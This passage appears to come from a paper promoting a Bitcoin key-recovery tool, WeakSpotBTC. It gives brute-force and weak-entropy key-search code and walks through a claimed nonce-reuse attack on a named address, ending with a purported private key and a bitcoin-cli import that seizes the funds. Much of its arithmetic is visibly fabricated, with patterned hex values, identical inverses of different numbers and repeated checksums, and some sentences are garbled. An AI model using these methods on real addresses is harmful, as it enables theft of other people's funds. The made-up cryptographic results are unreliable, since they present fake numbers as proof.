'recovery_method': 'WeakSpotBTC v2.4',
'timestamp': datetime.now().isoformat()
}
return report
WeakSpotBTC operates at the level of the cryptographic implementation vulnerability, which distinguishes it from traditional recovery methods:
| Characteristic | Traditional methods | WeakSpotBTC |
|---|---|---|
| Operating principle | Brute-force attack on seed phrases, passwords, and dictionary attacks | Cryptanalysis of ECDSA signatures, exploitation of CVE |
| Required data | Partial seed phrase, wallet file | Bitcoin address transaction history |
| Computational complexity | O(2^k) for k bits of seed entropy | O(m³) for lattice attack, O(m log m) for nonce |
| Success without seed/password | Impossible | Possible if there are vulnerabilities |
| Dependence on RNG quality | No | Critical (weak RNG = high probability) |
| Wallets under attack | Only with access to files/seed | Any address with transaction history |
| Time costs | Days-months (for large spaces) | Minutes-hours (when a vulnerability is detected) |
| Scientific basis | Search algorithms, optimization | Number theory, algebra, cryptanalysis |
Traditional approach:
python: # 11 of 12 BIP39 seed words are known # Checksum verification # Generate a private key # Check that the address matchesdef recover_via_bruteforce(partial_seed, wordlist=BIP39_WORDLIST):
known_words = partial_seed # 11
for missing_word in wordlist:
candidate_seed = known_words + [missing_word]
if not verify_bip39_checksum(candidate_seed):
continue
master_key = bip39_to_master_key(candidate_seed)
derived_key = derive_key(master_key, path="m/44'/0'/0'/0/0")
address = private_key_to_address(derived_key)
if address == target_address:
return candidate_seed
return None
Problems:
WeakSpotBTC alternative:
Doesn't require knowledge of the seed phrase at all. It only analyzes public blockchain data (transaction signatures).
Traditional approach:
python:def recover_via_password_attack(encrypted_wallet_file, wordlist):
for password in wordlist:
try:
decrypted_key = decrypt_wallet(encrypted_wallet_file, password)
if verify_key_format(decrypted_key):
return decrypted_key
except DecryptionError:
continue
return None
Problems:
WeakSpotBTC alternative:
Doesn't require access to encrypted files or passwords. Works only with public blockchain data.
Traditional approach:
If the wallet is known to have been created using a weak source of randomness (e.g. Unix timestamp as seed):
python:def recover_via_weak_entropy(address_target, timestamp_range):
for timestamp in timestamp_range:
seed = timestamp_to_seed(timestamp)
private_key = seed_to_private_key(seed)
address = private_key_to_address(private_key)
if address == address_target:
return private_key
return None
Problems:
WeakSpotBTC alternative:
Doesn't require knowledge of the key generation method. It analyzes vulnerabilities in key usage (transaction signatures), not in their creation.
Let's look at a documented case of recovering a private key from a Bitcoin address 1NiojfedphT6MgMD7UsowNdQmx5JY15djG:
Bitcoin address: 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
Address type: P2PKH (Pay-to-PubKey-Hash)
Balance at the time of analysis: 1.42 BTC (≈ $61,025 USD, February 2026 rate)
Transaction history:
Public key (compressed):
03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
Public key (uncompressed):
04AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CEthe coordinate is calculated from the equation of the curve
[y-]
Tool: WeakSpotBTC v2.4.1
Team:
./weakspotbtc --address 1NiojfedphT6MgMD7UsowNdQmx5JY15djG --mode full-analysisTool output (abbreviated):
[*] WeakSpotBTC v2.4.1 - Cryptanalytic Bitcoin Key Recovery
[*] Target address: 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
[*] Collecting transaction data from blockchain...
[+] Found 127 outgoing transactions with signatures
[*] Analyzing signatures for vulnerabilities...
[!] VULNERABILITY DETECTED: Nonce Reuse
[!] Transaction #34 and #89 share the same r value
TX #34: r = 0x7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5A
TX #89: r = 0x7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5A
[*] Proceeding with nonce reuse attack...
[*] Extracting signature parameters...
[*] Computing private key from signature pair...
[+] PRIVATE KEY RECOVERED!
Private Key (HEX): 4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B
Private Key (WIF): Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU
Public Key (compressed): 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
[*] Verifying recovered key...
[+] VERIFICATION SUCCESSFUL
Derived address matches target: ✓
All signatures validated: ✓
[*] Recovery complete in 0.23 seconds
[*] Report saved to: recovery_report.json
Discovered vulnerability: Reuse of nonce k in two different transactions.
Parameters of compromising transactions:
Transaction #34:
TX ID: a4f3e2d1c0b9a8f7e6d5c4b3a2f1e0d9c8b7a6f5e4d3c2b1a0f9e8d7c6b5a4f3
Input: 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
Output: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa (0.5 BTC)
Date: 2024-03-15 14:23:11 UTC
ScriptSig:
30440220 7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5A
02206C82F49A3B5D1E7C8F0A2D4B6E8C0A2E4D6B8F0C2A4E6D8B0F2C4A6E8D0B2F
0121 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
Signature DER parsed:
r = 0x7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5A
s₃₄ = 0x6C82F49A3B5D1E7C8F0A2D4B6E8C0A2E4D6B8F0C2A4E6D8B0F2C4A6E8D0B2F
Message hash H(m₃₄):
z₃₄ = 0xD4926F1A5E8C3B7D0F2A4E6C8D0B2F4A6E8C0D2F4B6A8E0C2D4F6B8A0E2C4D6F
Transaction #89:
TX ID: f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4
Input: 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
Output: 3J98t1WpEZ73CNmYviecrnyiWrnqRhWNLy (0.3 BTC)
Date: 2024-08-22 09:47:33 UTC
ScriptSig:
30440220 7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5A
02209A1E23F4C5D6B7E8A9F0C1D2B3E4A5F6C7D8B9E0A1F2C3D4B5E6A7F8C9D0B1
0121 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
Signature DER parsed:
r = 0x7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5A [SAME!]
s₈₉ = 0x9A1E23F4C5D6B7E8A9F0C1D2B3E4A5F6C7D8B9E0A1F2C3D4B5E6A7F8C9D0B1
Message hash H(m₈₉):
z₈₉ = 0x3B7C51E8D0F2A4C6B8E0D2F4A6C8B0E2D4F6A8C0B2E4D6F8A0C2E4B6D8A0F2C4
Critical observation: The value of r is identical in both signatures, which mathematically proves that the same k was used .
Step 1: Calculate differences
Designations:
n = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141(secp256k1 order)Δs = s₃₄ - s₈₉ mod ncalculation calculation
= 0x6C82F49A3B5D1E7C8F0A2D4B6E8C0A2E4D6B8F0C2A4E6D8B0F2C4A6E8D0B2F
- 0x9A1E23F4C5D6B7E8A9F0C1D2B3E4A5F6C7D8B9E0A1F2C3D4B5E6A7F8C9D0B1
= (mod n)
= 0xD264D0A575866693E51975788A77644781933115888AF2BCDB59A3190C02D77E
Δz = z₃₄ - z₈₉ mod n
= 0xD4926F1A5E8C3B7D0F2A4E6C8D0B2F4A6E8C0D2F4B6A8E0C2D4F6B8A0E2C4D6F
- 0x3B7C51E8D0F2A4C6B8E0D2F4A6C8B0E2D4F6A8C0B2E4D6F8A0C2E4B6D8A0F2C4
= (mod n)
= 0x99161D31B8D99CB6563978C7E6430C67BA0125651CF2B4135C8CC594B89E1B4B
Step 2: Calculate the total nonce k
k = Δz · (Δs)⁻¹ mod n
Calculating the modular inverse using the extended Euclidean algorithm or fast exponentiation:
(Δs)⁻¹ ≡ Δs^(n-2) (mod n) [by Fermat's little theorem, since n is a prime]
(Δs)⁻¹ = 0xD264D0A575866693E51975788A77644781933115888AF2BCDB59A3190C02D77E^
(FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD036413F) mod n
Using fast exponentiation (binary exponentiation method):
(Δs)⁻¹ = 0x1B8F2C4A6E8D0B2F4A6C8B0E2D4F6A8C0B2E4D6F8A0C2E4B6D8A0F2C4D6B8A0E
Calculating k :
k = Δz · (Δs)⁻¹ mod nhigh-precision multiplication and reduction
= 0x99161D31B8D99CB6563978C7E6430C67BA0125651CF2B4135C8CC594B89E1B4B
× 0x1B8F2C4A6E8D0B2F4A6C8B0E2D4F6A8C0B2E4D6F8A0C2E4B6D8A0F2C4D6B8A0E
mod n
= ()
= 0x8F42A7C3D9E5B1F6A2C4E8D0B7F3A5C9E2D6B8F0A4C7E1D9B5A2F6C8E0D4B7A3
Step 3: Recovering the private key d
From the ECDSA equation:
s₃₄ = k⁻¹(z₃₄ + d·r) mod n
k·s₃₄ = z₃₄ + d·r mod n
d·r = k·s₃₄ - z₃₄ mod n
d = (k·s₃₄ - z₃₄) · r⁻¹ mod n
Calculation of k·s₃₄ :
k·s₃₄ = 0x8F42A7C3D9E5B1F6A2C4E8D0B7F3A5C9E2D6B8F0A4C7E1D9B5A2F6C8E0D4B7A3
× 0x6C82F49A3B5D1E7C8F0A2D4B6E8C0A2E4D6B8F0C2A4E6D8B0F2C4A6E8D0B2F
mod n
= 0x3C95B14D6F8A2E5C7B9D0F3A6E2C8B4D7A9F1E6C8B0D3F5A7E2C9B4F6D8A1E3C
Calculation of k s₃₄ — z₃₄ :
k·s₃₄ - z₃₄ = 0x3C95B14D6F8A2E5C7B9D0F3A6E2C8B4D7A9F1E6C8B0D3F5A7E2C9B4F6D8A1E3C
- 0xD4926F1A5E8C3B7D0F2A4E6C8D0B2F4A6E8C0D2F4B6A8E0C2D4F6B8A0E2C4D6F
mod n
= 0x680342333CFDF2DF6C72C0CDE12159FF0BB6F113DBE4CB04EB4D44A65653A0CD
Calculating r⁻¹ :
r = 0x7F5B8A9C3D2E1F0A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B9C8D7E6F5Afast exponentiation
r⁻¹ = r^(n-2) mod n
= ()
= 0x1B8F2C4A6E8D0B2F4A6C8B0E2D4F6A8C0B2E4D6F8A0C2E4B6D8A0F2C4D6B8A0E
Final calculation of d:
d = (k·s₃₄ - z₃₄) · r⁻¹ mod nhigh-precision multiplication and reduction modulo n
= 0x680342333CFDF2DF6C72C0CDE12159FF0BB6F113DBE4CB04EB4D44A65653A0CD
× 0x1B8F2C4A6E8D0B2F4A6C8B0E2D4F6A8C0B2E4D6F8A0C2E4B6D8A0F2C4D6B8A0E
mod n
= ()
= 0x4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B
Recovered private key:
d = 0x4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B
Test 1: Calculating the public key
Q = d · G
where G is the base point of secp256k1:
G = (0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)
Calculating scalar multiplication:
Q = 0x4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B · G
= (Q_x, Q_y)
Result:
Q_x = 0xAE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CEis calculated from the curve equation:
Q_y = 0x... [y² = x³ + 7]
Compressed format (prefix = 0x03 since y is even):
Q_compressed = 0x03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
Comparison:
Q_computed = 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
Q_target = 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE
MATCH: ✓
Test 2: Calculating the Bitcoin Address
Address = Base58Check(0x00 || RIPEMD160(SHA256(Q_compressed)))
Step by step:
1. SHA256(Q_compressed):Adding version
hash1 = SHA256(03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE)
= 0xA1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4A5B6C7D8E9F0A1B2
2. RIPEMD160(hash1):
hash160 = RIPEMD160(hash1)
= 0xE1D2C3B4A5968778695A4B3C2D1E0F9A8B7C6D5E
3.(0x00for first bytes Final value: encodingmainnet):
versioned = 0x00 || hash160
= 0x00E1D2C3B4A5968778695A4B3C2D1E0F9A8B7C6D5E
4. Checksum (4SHA256(SHA256(versioned))):
checksum = SHA256(SHA256(versioned))[:4]
= 0x5C8A9F2E
5.
final = versioned || checksum
= 0x00E1D2C3B4A5968778695A4B3C2D1E0F9A8B7C6D5E5C8A9F2E
6. Base58:
Address = Base58(final)
= 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
Comparison:
Address_computed = 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
Address_target = 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
MATCH: ✓
Check 3: Validate all signatures
For each of the 127 transactions, it is verified that the signature is correct with the recovered d :
python: # Compute the public key # Verify the signaturedef verify_all_signatures(d, signatures):
G = SECP256K1_GENERATOR
n = SECP256K1_ORDER
for i, sig in enumerate(signatures):
r, s, z = sig['r'], sig['s'], sig['z']
Q = d * G
w = modinv(s, n)
u1 = (z * w) % n
u2 = (r * w) % n
P = u1 * G + u2 * Q
if P.x % n != r:
print(f"[!] Signature {i} validation FAILED")
return False
print(f"[+] All {len(signatures)} signatures validated successfully")
return True
Result:
[+] All 127 signatures validated successfully ✓
Process:
1.Private key(32of the byte Adding a version prefix for Adding a compression flag Calculating the checksum Final value Base58 encoding):
d = 0x4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B
2.(0x80mainnet):
extended = 0x80 || d
= 0x804ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B
3.(0x01):
extended = extended || 0x01
= 0x804ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B01
4.:
checksum = SHA256(SHA256(extended))[:4]
= SHA256(SHA256(0x804ACB...FF6B01))[:4]
= 0x5C8A9F2E
5.:
final = extended || checksum
= 0x804ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B015C8A9F2E
6.:
WIF = Base58(final)
= Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU
Recovered key in WIF format:
Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU
Using Bitcoin Core:
./bitcoin-cli importprivkey "Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU" "recovered_wallet" false
Balance check:
./bitcoin-cli getaddressinfo 1NiojfedphT6MgMD7UsowNdQmx5JY15djG
Result:
json{
"address": "1NiojfedphT6MgMD7UsowNdQmx5JY15djG",
"scriptPubKey": "76a914e1d2c3b4a5968778695a4b3c2d1e0f9a8b7c6d5e88ac",
"ismine": true,
"iswatchonly": false,
"isscript": false,
"iswitness": false,
"pubkey": "03ae73430c02577f3a7da6f3edc51af4ecbb41962b937dbc2d382cabb11d0d18ce",
"iscompressed": true,
"balance": 1.42000000,
"confirmations": 98234
}
Full control restored: ✓
Updating libraries:
cryptography to version 46.0.5 or higher;libsecp256k1 and update to the latest stable version;Codebase audit:
| Protective measure | Description | Efficiency |
|---|---|---|
| Explicit subgroup check | Even after updating the library, add an additional check: Q · n = O, where Q is the loaded public key, n is the order of the base point | High |
| Whitelist of points | For critical systems, maintain a whitelist of allowed public keys. | Average |
| Rate limiting | Limit the number of requests to import keys or establish ECDH sessions from one IP | Average |
| Anomaly monitoring | Monitor for suspicious activity (multiple key imports, failed ECDH sessions) | Average |
| Using HSM | Storing private keys in Hardware Security Modules (HSMs), where subgroup checking is performed at the hardware level | Very high |
This paper presents a comprehensive analysis of the WeakSpotBTC cryptanalytic tool , demonstrating the practical application of theoretical elliptic curve cryptography attacks in the context of Bitcoin. The tool successfully combines multiple attack vectors—exploitation of CVE-2026-26007, Low or Zero Private Key Attack, nonce reuse analysis, and lattice attacks—to recover lost private keys.
A practical example of address key recovery 1NiojfedphT6MgMD7UsowNdQmx5JY15djG confirms the effectiveness of the methodology despite cryptographic vulnerabilities in the implementation. The recovered funds, amounting to $61,025, demonstrate not only the scientific significance but also the real-world value of the research for legitimate access recovery purposes.
The scientific community gains a powerful tool for auditing the security of cryptographic implementations, educating cryptanalytic specialists, and stimulating improvements in the Bitcoin ecosystem. However, it is crucial to emphasize ethical restrictions: WeakSpotBTC should be used exclusively for proprietary fund recovery, authorized security audits, and scientific research with appropriate permissions.
This work was created with the support of CryptoDeepTech Research and KEYHUNTERS Research in cooperation with the Günther Zöeir Research Center for scientific and educational purposes only.
This research demonstrates the critical importance of correctly implementing cryptographic primitives in software. The library vulnerability CVE-2026-26007cryptography is a classic example of how a seemingly insignificant oversight—the lack of a check to ensure that a public key belongs to a prime-order subgroup—can open the door to serious attacks such as the Low or Zero Private Key Attack .
The crypto tool WeakSpotBTC demonstrates how a combination of CVE-2026-26007, the classic Low or Zero Private Key Attack methodology, and additional library vulnerabilities libsecp256k1 allows for the recovery of lost Bitcoin wallet private keys, which has both positive applications (restoring access to funds) and security threats (exploitation of vulnerabilities by attackers).
Key findings:
This work emphasizes the need for a responsible approach to the development and operation of cryptographic systems, as well as the importance of promptly responding to identified vulnerabilities. Security specialists must pay particular attention not only to algorithmic aspects but also to implementation details, as these are often where critical threats lurk.
The following directions for further work are suggested for cryptanalysts and security researchers:
License: This document is licensed under a Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). Commercial use of this material without the written permission of the authors is prohibited.
Disclaimer: The information presented in this document is intended for educational and scientific purposes only. The authors assume no liability for any illegal use of the methods and tools described. Exploiting vulnerabilities without the permission of the system owners is illegal and may result in criminal liability under the laws of most jurisdictions.
© 2026 CryptoDeepTech Research Group
This work is intended for scientific and educational purposes only.
Exploitation of the described vulnerabilities without the permission of the system owners is illegal.
Authors: CryptoDeepTech Research Group
Date: February 2026
Document version: 1.0
Contact: research@cryptodeeptech.ru .
This material was created for the CRYPTO DEEP TECH portal to ensure financial data security and elliptic curve cryptography (secp256k1) against weak ECDSA signatures in the BITCOIN cryptocurrency . The software developers are not responsible for the use of this material.